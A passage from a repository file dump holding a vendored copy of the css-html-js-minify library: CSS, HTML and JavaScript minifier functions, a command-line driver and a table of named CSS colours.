css.replace('font-weight:normal;', 'font-weight:400;').replace(\n        'font-weight:bold;', 'font-weight:700;')\n\n\ndef condense_std_named_colors(css):\n    \"\"\"Condense named color values to shorter replacement using HEX.\"\"\"\n    log.debug(\"Condensing standard named color values.\")\n    for color_name, color_hexa in iter(tuple({\n        ':aqua;': ':#0ff;', ':blue;': ':#00f;',\n            ':fuchsia;': ':#f0f;', ':yellow;': ':#ff0;'}.items())):\n        css = css.replace(color_name, color_hexa)\n    return css\n\n\ndef condense_xtra_named_colors(css):\n    \"\"\"Condense named color values to shorter replacement using HEX.\"\"\"\n    log.debug(\"Condensing extended named color values.\")\n    for k, v in iter(tuple(EXTENDED_NAMED_COLORS.items())):\n        same_color_but_rgb = 'rgb({0},{1},{2})'.format(v[0], v[1], v[2])\n        if len(k) > len(same_color_but_rgb):\n            css = css.replace(k, same_color_but_rgb)\n    return css\n\n\ndef remove_url_quotes(css):\n    \"\"\"Fix for url() does not need quotes.\"\"\"\n    log.debug(\"Removing quotes from url.\")\n    return re.sub(r'url\\(([\"\\'])([^)]*)\\1\\)', r'url(\\2)', css)\n\n\ndef condense_border_none(css):\n    \"\"\"Condense border:none; to border:0;.\"\"\"\n    log.debug(\"Condense borders values.\")\n    return css.replace(\"border:none;\", \"border:0;\")\n\n\ndef add_encoding(css):\n    \"\"\"Add @charset 'UTF-8'; if missing.\"\"\"\n    log.debug(\"Adding encoding declaration if needed.\")\n    return \"@charset utf-8;\" + css if \"@charset\" not in css.lower() else css\n\n\ndef restore_needed_space(css):\n    \"\"\"Fix CSS for some specific cases where a white space is needed.\"\"\"\n    return css.replace(\"!important\", \" !important\").replace(  # !important\n        \"@media(\", \"@media (\").replace(  # media queries # jpeg > jpg\n            \"data:image/jpeg;base64,\", \"data:image/jpg;base64,\").rstrip(\"\\n;\")\n\n\ndef unquote_selectors(css):\n    \"\"\"Fix CSS for some specific selectors where Quotes is not needed.\"\"\"\n    log.debug(\"Removing unnecessary Quotes on selectors of CSS classes.\")\n    return re.compile('([a-zA-Z]+)=\"([a-zA-Z0-9-_\\.]+)\"]').sub(r'\\1=\\2]', css)\n\n\ndef css_minify(css, wrap=False, comments=False, sort=False, noprefix=False):\n    \"\"\"Minify CSS main function.\"\"\"\n    log.info(\"Compressing CSS...\")\n    css = remove_comments(css) if not comments else css\n    css = sort_properties(css) if sort else css\n    css = unquote_selectors(css)\n    css = condense_whitespace(css)\n    css = remove_url_quotes(css)\n    css = condense_xtra_named_colors(css)\n    css = condense_font_weight(css)\n    css = remove_unnecessary_whitespace(css)\n    css = condense_std_named_colors(css)\n    css = remove_unnecessary_semicolons(css)\n    css = condense_zero_units(css)\n    css = condense_multidimensional_zeros(css)\n    css = condense_floating_points(css)\n    css = normalize_rgb_colors_to_hex(css)\n    css = condense_hex_colors(css)\n    css = condense_border_none(css)\n    css = wrap_css_lines(css, 80) if wrap else css\n    css = condense_semicolons(css)\n    css = add_encoding(css) if not noprefix else css\n    css = restore_needed_space(css)\n    log.info(\"Finished compressing CSS !.\")\n    return css.strip()\n"
  },
  {
    "path": "utils/web_converter/css_html_js_minify/html_minifier.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlospaco/css-html-js-minify\n\n\"\"\"HTML Minifier functions for CSS-HTML-JS-Minify.\"\"\"\n\n\nimport re\n\nimport logging as log\n\n\n__all__ = ['html_minify']\n\n\ndef condense_html_whitespace(html):\n    \"\"\"Condense HTML, but be safe first if it have textareas or pre tags.\n\n    >>> condense_html_whitespace('<i>  <b>    <a> test </a>    </b> </i><br>')\n    '<i><b><a> test </a></b></i><br>'\n    \"\"\"  # first space between tags, then empty new lines and in-between.\n    log.debug(\"Removing unnecessary HTML White Spaces and Empty New Lines.\")\n    tagsStack = []\n    split = re.split('(<\\\\s*pre.*>|<\\\\s*/\\\\s*pre\\\\s*>|<\\\\s*textarea.*>|<\\\\s*/\\\\s*textarea\\\\s*>)', html, flags=re.IGNORECASE)\n    for i in range(0, len(split)):\n    \t#if we are on a tag\n        if (i + 1) % 2 == 0:\n            tag = rawtag(split[i])\n            if tag.startswith('/'):\n                if not tagsStack or '/' + tagsStack.pop() != tag:\n                    raise Exception(\"Some tag is not closed properly\")\n            else:\n                tagsStack.append(tag)\n            continue\n\n\t\t#else check if we are outside any nested <pre>/<textarea> tag\n        if not tagsStack:\n            temp = re.sub(r'>\\s+<', '> <', split[i])\n            split[i] = re.sub(r'\\s{2,}|[\\r\\n]', ' ', temp)\n    return ''.join(split)\n\n\ndef rawtag(str):\n    if re.match('<\\\\s*pre.*>', str, flags=re.IGNORECASE):\n        return 'pre'\n    if re.match('<\\\\s*textarea.*>', str, flags=re.IGNORECASE):\n        return 'txt'\n    if re.match('<\\\\s*/\\\\s*pre\\\\s*>', str, flags=re.IGNORECASE):\n        return '/pre'\n    if re.match('<\\\\s*/\\\\s*textarea\\\\s*>', str, flags=re.IGNORECASE):\n        return '/txt'\n\ndef condense_style(html):\n    \"\"\"Condense style html tags.\n\n    >>> condense_style('<style type=\"text/css\">*{border:0}</style><p>a b c')\n    '<style>*{border:0}</style><p>a b c'\n    \"\"\"  # May look silly but Emmet does this and is wrong.\n    log.debug(\"Condensing HTML Style CSS tags.\")\n    return html.replace('<style type=\"text/css\">', '<style>').replace(\n        \"<style type='text/css'>\", '<style>').replace(\n            \"<style type=text/css>\", '<style>')\n\n\ndef condense_script(html):\n    \"\"\"Condense script html tags.\n\n    >>> condense_script('<script type=\"text/javascript\"> </script><p>a b c')\n    '<script> </script><p>a b c'\n    \"\"\"  # May look silly but Emmet does this and is wrong.\n    log.debug(\"Condensing HTML Script JS tags.\")\n    return html.replace('<script type=\"text/javascript\">', '<script>').replace(\n        \"<style type='text/javascript'>\", '<script>').replace(\n            \"<style type=text/javascript>\", '<script>')\n\n\ndef clean_unneeded_html_tags(html):\n    \"\"\"Clean unneeded optional html tags.\n\n    >>> clean_unneeded_html_tags('a<body></img></td>b</th></tr></hr></br>c')\n    'abc'\n    \"\"\"\n    log.debug(\"Removing unnecessary optional HTML tags.\")\n    for tag_to_remove in (\"\"\"</area> </base> <body> </body> </br> </col>\n        </colgroup> </dd> </dt> <head> </head> </hr> <html> </html> </img>\n        </input> </li> </link> </meta> </option> </param> <tbody> </tbody>\n        </td> </tfoot> </th> </thead> </tr> </basefont> </isindex> </param>\n            \"\"\".split()):\n            html = html.replace(tag_to_remove, '')\n    return html  # May look silly but Emmet does this and is wrong.\n\n\ndef remove_html_comments(html):\n    \"\"\"Remove all HTML comments, Keep all for Grunt, Grymt and IE.\n\n    >>> _=\"<!-- build:dev -->a<!-- endbuild -->b<!--[if IE 7]>c<![endif]--> \"\n    >>> _+= \"<!-- kill me please -->keep\" ; remove_html_comments(_)\n    '<!-- build:dev -->a<!-- endbuild -->b<!--[if IE 7]>c<![endif]--> keep'\n    \"\"\"  # Grunt uses comments to as build arguments, bad practice but still.\n    log.debug(\"\"\"Removing all unnecessary HTML comments; Keep all containing:\n    'build:', 'endbuild', '<!--[if]>', '<![endif]-->' for Grunt/Grymt, IE.\"\"\")\n    return re.compile('<!-- [^(build|endbuild)].*? -->', re.I).sub('', html)\n\n\ndef unquote_html_attributes(html):\n    \"\"\"Remove all HTML quotes on attibutes if possible.\n\n    >>> unquote_html_attributes('<img   width=\"9\" height=\"5\" data-foo=\"0\"  >')\n    '<img width=9 height=5 data-foo=0 >'\n    \"\"\"  # data-foo=0> might cause errors on IE, we leave 1 space data-foo=0 >\n    log.debug(\"Removing unnecessary Quotes on attributes of HTML tags.\")\n    # cache all regular expressions on variables before we enter the for loop.\n    any_tag = re.compile(r\"<\\w.*?>\", re.I | re.MULTILINE | re.DOTALL)\n    space = re.compile(r' \\s+|\\s +', re.MULTILINE)\n    space1 = re.compile(r'\\w\\s+\\w', re.MULTILINE)\n    space2 = re.compile(r'\"\\s+>', re.MULTILINE)\n    space3 = re.compile(r\"'\\s+>\", re.MULTILINE)\n    space4 = re.compile('\"\\s\\s+\\w+=\"|\\'\\s\\s+\\w+=\\'|\"\\s\\s+\\w+=|\\'\\s\\s+\\w+=',\n                        re.MULTILINE)\n    space6 = re.compile(r\"\\d\\s+>\", re.MULTILINE)\n    quotes_in_tag = re.compile('([a-zA-Z]+)=\"([a-zA-Z0-9-_\\.]+)\"')\n    # iterate on a for loop cleaning stuff up on the html markup.\n    for tag in iter(any_tag.findall(html)):\n        # exceptions of comments and closing tags\n        if tag.startswith('<!') or tag.find('</') > -1:\n            continue\n        original = tag\n        # remove white space inside the tag itself\n        tag = space2.sub('\" >', tag)  # preserve 1 white space is safer\n        tag = space3.sub(\"' >\", tag)\n        for each in space1.findall(tag) + space6.findall(tag):\n            tag = tag.replace(each, space.sub(' ', each))\n        for each in space4.findall(tag):\n            tag = tag.replace(each, each[0] + ' ' + each[1:].lstrip())\n        # remove quotes on some attributes\n        tag = quotes_in_tag.sub(r'\\1=\\2 ', tag)  # See Bug #28\n        if original != tag:  # has the tag been improved ?\n            html = html.replace(original, tag)\n    return html.strip()\n\n\ndef html_minify(html, comments=False):\n    \"\"\"Minify HTML main function.\n\n    >>> html_minify(' <p  width=\"9\" height=\"5\"  > <!-- a --> b </p> c <br> ')\n    '<p width=9 height=5 > b c <br>'\n    \"\"\"\n    log.info(\"Compressing HTML...\")\n    html = remove_html_comments(html) if not comments else html\n    html = condense_style(html)\n    html = condense_script(html)\n    html = clean_unneeded_html_tags(html)\n    html = condense_html_whitespace(html)\n    html = unquote_html_attributes(html)\n    log.info(\"Finished compressing HTML !.\")\n    return html.strip()\n"
  },
  {
    "path": "utils/web_converter/css_html_js_minify/js_minifier.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlospaco/css-html-js-minify\n# Modified by: xdavidhu\n\n\"\"\"JavaScript Minifier functions for CSS-HTML-JS-Minify.\"\"\"\n\n\nfrom io import StringIO  # pure-Python StringIO supports unicode.\n\nimport logging as log\nimport re\n\nfrom .css_minifier import condense_semicolons\n\n\n__all__ = ['js_minify']\n\n\ndef remove_commented_lines(js):\n    \"\"\"Force remove commented out lines from Javascript.\"\"\"\n    log.debug(\"Force remove commented out lines from Javascript.\")\n    result = \"\"\n    for line in js.splitlines():\n        line = re.sub(r\"/\\*.*\\*/\" ,\"\" ,line) # (/*COMMENT */)\n        line = re.sub(r\"//.*\",\"\" ,line) # (//COMMENT)\n        result += '\\n'+line\n    return result\n\n\ndef simple_replacer_js(js):\n    \"\"\"Force strip simple replacements from Javascript.\"\"\"\n    log.debug(\"Force strip simple replacements from Javascript.\")\n    return condense_semicolons(js.replace(\"debugger;\", \";\").replace(\n        \";}\", \"}\").replace(\"; \", \";\").replace(\" ;\", \";\").rstrip(\"\\n;\"))\n\n\ndef js_minify_keep_comments(js):\n    \"\"\"Return a minified version of the Javascript string.\"\"\"\n    log.info(\"Compressing Javascript...\")\n    ins, outs = StringIO(js), StringIO()\n    JavascriptMinify(ins, outs).minify()\n    return force_single_line_js(outs.getvalue())\n\n\ndef force_single_line_js(js):\n    \"\"\"Force Javascript to a single line, even if need to add semicolon.\"\"\"\n    log.debug(\"Forcing JS from ~{0} to 1 Line.\".format(len(js.splitlines())))\n    return \";\".join(js.splitlines()) if len(js.splitlines()) > 1 else js\n\n\nclass JavascriptMinify(object):\n\n    \"\"\"Minify an input stream of Javascript, writing to an output stream.\"\"\"\n\n    def __init__(self, instream=None, outstream=None):\n        \"\"\"Init class.\"\"\"\n        self.ins, self.outs = instream, outstream\n\n    def minify(self, instream=None, outstream=None):\n        \"\"\"Minify Javascript using StringIO.\"\"\"\n        if instream and outstream:\n            self.ins, self.outs = instream, outstream\n        write, read = self.outs.write, self.ins.read\n        space_strings = (\"abcdefghijklmnopqrstuvwxyz\"\n                         \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$\\\\\")\n        starters, enders = '{[(+-', '}])+-\"\\''\n        newlinestart_strings = starters + space_strings\n        newlineend_strings = enders + space_strings\n        do_newline, do_space = False, False\n        doing_single_comment, doing_multi_comment = False, False\n        previous_before_comment, in_quote = '', ''\n        in_re, quote_buf = False, []\n        previous = read(1)\n        next1 = read(1)\n        if previous == '/':\n            if next1 == '/':\n                doing_single_comment = True\n            elif next1 == '*':\n                doing_multi_comment = True\n            else:\n                write(previous)\n        elif not previous:\n            return\n        elif previous >= '!':\n            if previous in \"'\\\"\":\n                in_quote = previous\n            write(previous)\n            previous_non_space = previous\n        else:\n            previous_non_space = ' '\n        if not next1:\n            return\n        while True:\n            next2 = read(1)\n            if not next2:\n                last = next1.strip()\n                conditional_1 = (doing_single_comment or doing_multi_comment)\n                if not conditional_1 and last not in ('', '/'):\n                    write(last)\n                break\n            if doing_multi_comment:\n                if next1 == '*' and next2 == '/':\n                    doing_multi_comment = False\n                    next2 = read(1)\n            elif doing_single_comment:\n                if next1 in '\\r\\n':\n                    doing_single_comment = False\n                    while next2 in '\\r\\n':\n                        next2 = read(1)\n                        if not next2:\n                            break\n                    if previous_before_comment in ')}]':\n                        do_newline = True\n                    elif previous_before_comment in space_strings:\n                        write('\\n')\n            elif in_quote:\n                quote_buf.append(next1)\n\n                if next1 == in_quote:\n                    numslashes = 0\n                    for c in reversed(quote_buf[:-1]):\n                        if c != '\\\\':\n                            break\n                        else:\n                            numslashes += 1\n                    if numslashes % 2 == 0:\n                        in_quote = ''\n                        write(''.join(quote_buf))\n            elif next1 in '\\r\\n':\n                conditional_2 = previous_non_space in newlineend_strings\n                if conditional_2 or previous_non_space > '~':\n                    while 1:\n                        if next2 < '!':\n                            next2 = read(1)\n                            if not next2:\n                                break\n                        else:\n                            conditional_3 = next2 in newlinestart_strings\n                            if conditional_3 or next2 > '~' or next2 == '/':\n                                do_newline = True\n                            break\n            elif next1 < '!' and not in_re:\n                conditional_4 = next2 in space_strings or next2 > '~'\n                conditional_5 = previous_non_space in space_strings\n                conditional_6 = previous_non_space > '~'\n                if (conditional_5 or conditional_6) and (conditional_4):\n                    do_space = True\n            elif next1 == '/':\n                if in_re:\n                    if previous != '\\\\':\n                        in_re = False\n                    write('/')\n                elif next2 == '/':\n                    doing_single_comment = True\n                    previous_before_comment = previous_non_space\n                elif next2 == '*':\n                    doing_multi_comment = True\n                else:\n                    in_re = previous_non_space in '(,=:[?!&|'\n                    write('/')\n            else:\n                if do_space:\n                    do_space = False\n                    write(' ')\n                if do_newline:\n                    write('\\n')\n                    do_newline = False\n                write(next1)\n                if not in_re and next1 in \"'\\\"\":\n                    in_quote = next1\n                    quote_buf = []\n            previous = next1\n            next1 = next2\n            if previous >= '!':\n                previous_non_space = previous\n\n\ndef js_minify(js):\n    \"\"\"Minify a JavaScript string.\"\"\"\n    js = remove_commented_lines(js)\n    js = js_minify_keep_comments(js)\n    return js.strip()\n"
  },
  {
    "path": "utils/web_converter/css_html_js_minify/minify.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlospaco/css-html-js-minify\n\n\"\"\"CSS-HTML-JS-Minify.\n\nMinifier for the Web.\n\"\"\"\n\n\nimport atexit\nimport os\nimport sys\nimport gzip\nimport logging as log\n\nfrom argparse import ArgumentParser\nfrom datetime import datetime\nfrom functools import partial\nfrom hashlib import sha1\nfrom multiprocessing import Pool, cpu_count\nfrom subprocess import getoutput\nfrom time import sleep\n\nfrom .css_minifier import css_minify\nfrom .html_minifier import html_minify\nfrom .js_minifier import js_minify\n\nfrom anglerfish import (check_encoding, check_folder, make_logger,\n                        make_post_exec_msg, set_process_name,\n                        set_single_instance, walk2list, beep,\n                        set_terminal_title)\n\n\n__version__ = '2.5.0'\n__license__ = 'GPLv3+ LGPLv3+'\n__author__ = 'Juan Carlos'\n__email__ = 'juancarlospaco@gmail.com'\n__url__ = 'https://github.com/juancarlospaco/css-html-js-minify'\n__source__ = ('https://raw.githubusercontent.com/juancarlospaco/'\n              'css-html-js-minify/master/css-html-js-minify.py')\n\n\nstart_time = datetime.now()\n\n\n##############################################################################\n\n\ndef process_multiple_files(file_path, watch=False, wrap=False, timestamp=False,\n                           comments=False, sort=False, overwrite=False,\n                           zipy=False, prefix='', add_hash=False):\n    \"\"\"Process multiple CSS, JS, HTML files with multiprocessing.\"\"\"\n    log.debug(\"Process {} is Compressing {}.\".format(os.getpid(), file_path))\n    if watch:\n        previous = int(os.stat(file_path).st_mtime)\n        log.info(\"Process {} is Watching {}.\".format(os.getpid(), file_path))\n        while True:\n            actual = int(os.stat(file_path).st_mtime)\n            if previous == actual:\n                sleep(60)\n            else:\n                previous = actual\n                log.debug(\"Modification detected on {0}.\".format(file_path))\n                check_folder(os.path.dirname(file_path))\n                if file_path.endswith(\".css\"):\n                    process_single_css_file(\n                        file_path, wrap=wrap, timestamp=timestamp,\n                        comments=comments, sort=sort, overwrite=overwrite,\n                        zipy=zipy, prefix=prefix, add_hash=add_hash)\n                elif file_path.endswith(\".js\"):\n                    process_single_js_file(\n                        file_path, timestamp=timestamp,\n                        overwrite=overwrite, zipy=zipy)\n                else:\n                    process_single_html_file(\n                        file_path, comments=comments,\n                        overwrite=overwrite, prefix=prefix, add_hash=add_hash)\n    else:\n        if file_path.endswith(\".css\"):\n            process_single_css_file(\n                file_path, wrap=wrap, timestamp=timestamp,\n                comments=comments, sort=sort, overwrite=overwrite, zipy=zipy,\n                prefix=prefix, add_hash=add_hash)\n        elif file_path.endswith(\".js\"):\n            process_single_js_file(\n                file_path, timestamp=timestamp,\n                overwrite=overwrite, zipy=zipy)\n        else:\n            process_single_html_file(\n                file_path, comments=comments,\n                overwrite=overwrite, prefix=prefix, add_hash=add_hash)\n\n\ndef prefixer_extensioner(file_path, old, new,\n                         file_content=None, prefix='', add_hash=False):\n    \"\"\"Take a file path and safely preppend a prefix and change extension.\n\n    This is needed because filepath.replace('.foo', '.bar') sometimes may\n    replace '/folder.foo/file.foo' into '/folder.bar/file.bar' wrong!.\n    >>> prefixer_extensioner('/tmp/test.js', '.js', '.min.js')\n    '/tmp/test.min.js'\n    \"\"\"\n    log.debug(\"Prepending '{}' Prefix to {}.\".format(new.upper(), file_path))\n    extension = os.path.splitext(file_path)[1].lower().replace(old, new)\n    filenames = os.path.splitext(os.path.basename(file_path))[0]\n    filenames = prefix + filenames if prefix else filenames\n    if add_hash and file_content:  # http://stackoverflow.com/a/25568916\n        filenames += \"-\" + sha1(file_content.encode(\"utf-8\")).hexdigest()[:11]\n        log.debug(\"Appending SHA1 HEX-Digest Hash to '{}'.\".format(file_path))\n    dir_names = os.path.dirname(file_path)\n    file_path = os.path.join(dir_names, filenames + extension)\n    return file_path\n\n\ndef process_single_css_file(css_file_path, wrap=False, timestamp=False,\n                            comments=False, sort=False, overwrite=False,\n                            zipy=False, prefix='', add_hash=False,\n                            output_path=None):\n    \"\"\"Process a single CSS file.\"\"\"\n    log.info(\"Processing CSS file: {0}.\".format(css_file_path))\n    with open(css_file_path, encoding=\"utf-8\") as css_file:\n        original_css = css_file.read()\n    log.debug(\"INPUT: Reading CSS file {}.\".format(css_file_path))\n    minified_css = css_minify(original_css, wrap=wrap,\n                              comments=comments, sort=sort)\n    if timestamp:\n        taim = \"/* {0} */ \".format(datetime.now().isoformat()[:-7].lower())\n        minified_css = taim + minified_css\n    if output_path is None:\n        min_css_file_path = prefixer_extensioner(\n            css_file_path, \".css\", \".css\" if overwrite else \".min.css\",\n            original_css, prefix=prefix, add_hash=add_hash)\n        if zipy:\n            gz_file_path = prefixer_extensioner(\n                css_file_path, \".css\",\n                \".css.gz\" if overwrite else \".min.css.gz\", original_css,\n                prefix=prefix, add_hash=add_hash)\n            log.debug(\"OUTPUT: Writing ZIP CSS {}.\".format(gz_file_path))\n    else:\n        min_css_file_path = gz_file_path = output_path\n    if not zipy or output_path is None:\n        # if specific output path is requested,write write only one output file\n        with open(min_css_file_path, \"w\", encoding=\"utf-8\") as output_file:\n            output_file.write(minified_css)\n    if zipy:\n        with gzip.open(gz_file_path, \"wt\", encoding=\"utf-8\") as output_gz:\n            output_gz.write(minified_css)\n    log.debug(\"OUTPUT: Writing CSS Minified {0}.\".format(min_css_file_path))\n    return min_css_file_path\n\n\ndef process_single_html_file(html_file_path, comments=False, overwrite=False,\n                             prefix='', add_hash=False, output_path=None):\n    \"\"\"Process a single HTML file.\"\"\"\n    log.info(\"Processing HTML file: {0}.\".format(html_file_path))\n    with open(html_file_path, encoding=\"utf-8\") as html_file:\n        minified_html = html_minify(html_file.read(), comments=comments)\n    log.debug(\"INPUT: Reading HTML file {0}.\".format(html_file_path))\n    if output_path is None:\n        html_file_path = prefixer_extensioner(\n            html_file_path, \".html\" if overwrite else \".htm\", \".html\",\n            prefix=prefix, add_hash=add_hash)\n    else:\n        html_file_path = output_path\n    with open(html_file_path, \"w\", encoding=\"utf-8\") as output_file:\n        output_file.write(minified_html)\n    log.debug(\"OUTPUT: Writing HTML Minified {0}.\".format(html_file_path))\n    return html_file_path\n\n\ndef process_single_js_file(js_file_path, timestamp=False, overwrite=False,\n                           zipy=False, output_path=None):\n    \"\"\"Process a single JS file.\"\"\"\n    log.info(\"Processing JS file: {0}.\".format(js_file_path))\n    with open(js_file_path, encoding=\"utf-8\") as js_file:\n        original_js = js_file.read()\n    log.debug(\"INPUT: Reading JS file {0}.\".format(js_file_path))\n    minified_js = js_minify(original_js)\n    if timestamp:\n        taim = \"/* {} */ \".format(datetime.now().isoformat()[:-7].lower())\n        minified_js = taim + minified_js\n    if output_path is None:\n        min_js_file_path = prefixer_extensioner(\n            js_file_path, \".js\", \".js\" if overwrite else \".min.js\",\n            original_js)\n        if zipy:\n            gz_file_path = prefixer_extensioner(\n                js_file_path, \".js\", \".js.gz\" if overwrite else \".min.js.gz\",\n                original_js)\n            log.debug(\"OUTPUT: Writing ZIP JS {}.\".format(gz_file_path))\n    else:\n        min_js_file_path = gz_file_path = output_path\n    if not zipy or output_path is None:\n        # if specific output path is requested,write write only one output file\n        with open(min_js_file_path, \"w\", encoding=\"utf-8\") as output_file:\n            output_file.write(minified_js)\n    if zipy:\n        with gzip.open(gz_file_path, \"wt\", encoding=\"utf-8\") as output_gz:\n            output_gz.write(minified_js)\n    log.debug(\"OUTPUT: Writing JS Minified {0}.\".format(min_js_file_path))\n    return min_js_file_path\n\n\ndef make_arguments_parser():\n    \"\"\"Build and return a command line agument parser.\"\"\"\n    parser = ArgumentParser(description=__doc__, epilog=\"\"\"CSS-HTML-JS-Minify:\n    Takes a file or folder full path string and process all CSS/HTML/JS found.\n    If argument is not file/folder will fail. Check Updates works on Python3.\n    Std-In to Std-Out is deprecated since it may fail with unicode characters.\n    SHA1 HEX-Digest 11 Chars Hash on Filenames is used for Server Cache.\n    CSS Properties are Alpha-Sorted, to help spot cloned ones, Selectors not.\n    Watch works for whole folders, with minimum of ~60 Secs between runs.\"\"\")\n    parser.add_argument('--version', action='version', version=__version__)\n    parser.add_argument('fullpath', metavar='fullpath', type=str,\n                        help='Full path to local file or folder.')\n    parser.add_argument('--wrap', action='store_true',\n                        help=\"Wrap output to ~80 chars per line, CSS only.\")\n    parser.add_argument('--prefix', type=str,\n                        help=\"Prefix string to prepend on output filenames.\")\n    parser.add_argument('--timestamp', action='store_true',\n                        help=\"Add a Time Stamp on all CSS/JS output files.\")\n    parser.add_argument('--quiet', action='store_true', help=\"Quiet, Silent.\")\n    parser.add_argument('--hash', action='store_true',\n                        help=\"Add SHA1 HEX-Digest 11chars Hash to Filenames.\")\n    parser.add_argument('--zipy', action='store_true',\n                        help=\"GZIP Minified files as '*.gz', CSS/JS only.\")\n    parser.add_argument('--sort', action='store_true',\n                        help=\"Alphabetically Sort CSS Properties, CSS only.\")\n    parser.add_argument('--comments', action='store_true',\n                        help=\"Keep comments, CSS/HTML only (Not Recommended)\")\n    parser.add_argument('--overwrite', action='store_true',\n                        help=\"Force overwrite all in-place (Not Recommended)\")\n    parser.add_argument('--after', type=str,\n                        help=\"Command to execute after run (Experimental).\")\n    parser.add_argument('--before', type=str,\n                        help=\"Command to execute before run (Experimental).\")\n    parser.add_argument('--watch', action='store_true', help=\"Watch changes.\")\n    parser.add_argument('--multiple', action='store_true',\n                        help=\"Allow Multiple instances (Not Recommended).\")\n    parser.add_argument('--beep', action='store_true',\n                        help=\"Beep sound will be played when it ends at exit.\")\n    return parser.parse_args()\n\n\ndef prepare():\n    \"\"\"Prepare basic setup for main loop running.\"\"\"\n    global log\n    log = make_logger(\"css-html-js-minify\", emoji=True)  # Make a Logger Log.\n    set_terminal_title(\"css-html-js-minify\")\n    check_encoding()  # AutoMagically Check Encodings/root\n    set_process_name(\"css-html-js-minify\")  # set Name\n    set_single_instance(\"css-html-js-minify\")  # set Single Instance\n    return log\n\n\ndef main():\n    \"\"\"Main Loop.\"\"\"\n    args = make_arguments_parser()\n    log.disable(log.CRITICAL) if args.quiet else log.debug(\"Max Logging ON\")\n    log.info(__doc__ + __version__)\n    check_folder(os.path.dirname(args.fullpath))\n    atexit.register(beep) if args.beep else log.debug(\"Beep sound at exit OFF\")\n    if os.path.isfile(args.fullpath) and args.fullpath.endswith(\".css\"):\n        log.info(\"Target is a CSS File.\")  # Work based on if argument is\n        list_of_files = str(args.fullpath)  # file or folder, folder is slower.\n        process_single_css_file(\n            args.fullpath, wrap=args.wrap, timestamp=args.timestamp,\n            comments=args.comments, sort=args.sort, overwrite=args.overwrite,\n            zipy=args.zipy, prefix=args.prefix, add_hash=args.hash)\n    elif os.path.isfile(args.fullpath) and args.fullpath.endswith(\n            \".html\" if args.overwrite else \".htm\"):\n        log.info(\"Target is HTML File.\")\n        list_of_files = str(args.fullpath)\n        process_single_html_file(\n            args.fullpath, comments=args.comments,\n            overwrite=args.overwrite, prefix=args.prefix, add_hash=args.hash)\n    elif os.path.isfile(args.fullpath) and args.fullpath.endswith(\".js\"):\n        log.info(\"Target is a JS File.\")\n        list_of_files = str(args.fullpath)\n        process_single_js_file(\n            args.fullpath, timestamp=args.timestamp,\n            overwrite=args.overwrite, zipy=args.zipy)\n    elif os.path.isdir(args.fullpath):\n        log.info(\"Target is a Folder with CSS, HTML, JS files !.\")\n        log.warning(\"Processing a whole Folder may take some time...\")\n        list_of_files = walk2list(\n            args.fullpath,\n            (\".css\", \".js\", \".html\" if args.overwrite else \".htm\"),\n            (\".min.css\", \".min.js\", \".htm\" if args.overwrite else \".html\"))\n        log.info('Total Maximum CPUs used: ~{0} Cores.'.format(cpu_count()))\n        pool = Pool(cpu_count())  # Multiprocessing Async\n        pool.map_async(partial(\n                process_multiple_files, watch=args.watch,\n                wrap=args.wrap, timestamp=args.timestamp,\n                comments=args.comments, sort=args.sort,\n                overwrite=args.overwrite, zipy=args.zipy,\n                prefix=args.prefix, add_hash=args.hash),\n            list_of_files)\n        pool.close()\n        pool.join()\n    else:\n        log.critical(\"File or folder not found,or cant be read,or I/O Error.\")\n        sys.exit(1)\n    if args.after and getoutput:\n        log.info(getoutput(str(args.after)))\n    log.info('\\n {0} \\n Files Processed: {1}.'.format('-' * 80, list_of_files))\n    log.info('Number of Files Processed: {0}.'.format(\n        len(list_of_files) if isinstance(list_of_files, tuple) else 1))\n    set_terminal_title()\n    make_post_exec_msg(start_time)\n"
  },
  {
    "path": "utils/web_converter/css_html_js_minify/variables.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlospaco/css-html-js-minify\n\n\"\"\"Variables for CSS processing for CSS-HTML-JS-Minify.\"\"\"\n\n\n# 'Color Name String': (R, G, B)\nEXTENDED_NAMED_COLORS = {\n    'azure': (240, 255, 255),\n    'beige': (245, 245, 220),\n    'bisque': (255, 228, 196),\n    'blanchedalmond': (255, 235, 205),\n    'brown': (165, 42, 42),\n    'burlywood': (222, 184, 135),\n    'chartreuse': (127, 255, 0),\n    'chocolate': (210, 105, 30),\n    'coral': (255, 127, 80),\n    'cornsilk': (255, 248, 220),\n    'crimson': (220, 20, 60),\n    'cyan': (0, 255, 255),\n    'darkcyan': (0, 139, 139),\n    'darkgoldenrod': (184, 134, 11),\n    'darkgray': (169, 169, 169),\n    'darkgreen': (0, 100, 0),\n    'darkgrey': (169, 169, 169),\n    'darkkhaki': (189, 183, 107),\n    'darkmagenta': (139, 0, 139),\n    'darkolivegreen': (85, 107, 47),\n    'darkorange': (255, 140, 0),\n    'darkorchid': (153, 50, 204),\n    'darkred': (139, 0, 0),\n    'darksalmon': (233, 150, 122),\n    'darkseagreen': (143, 188, 143),\n    'darkslategray': (47, 79, 79),\n    'darkslategrey': (47, 79, 79),\n    'darkturquoise': (0, 206, 209),\n    'darkviolet': (148, 0, 211),\n    'deeppink': (255, 20, 147),\n    'dimgray': (105, 105, 105),\n    'dimgrey': (105, 105, 105),\n    'firebrick': (178, 34, 34),\n    'forestgreen': (34, 139, 34),\n    'gainsboro': (220, 220, 220),\n    'gold': (255, 215, 0),\n    'goldenrod': (218, 165, 32),\n    'gray': (128, 128, 128),\n    'green': (0, 128, 0),\n    'grey': (128, 128, 128),\n    'honeydew': (240, 255, 240),\n    'hotpink': (255, 105, 180),\n    'indianred': (205, 92, 92),\n    'indigo': (75, 0, 130),\n    'ivory': (255, 255, 240),\n    'khaki': (240, 230, 140),\n    'lavender': (230, 230, 250),\n    'lavenderblush': (255, 240, 245),\n    'lawngreen': (124, 252, 0),\n    'lemonchiffon': (255, 250, 205),\n    'lightcoral': (240, 128, 128),\n    'lightcyan': (224, 255, 255),\n    'lightgray': (211, 211, 211),\n    'lightgreen': (144, 238, 144),\n    'lightgrey': (211, 211, 211),\n    'lightpink': (255, 182, 193),\n    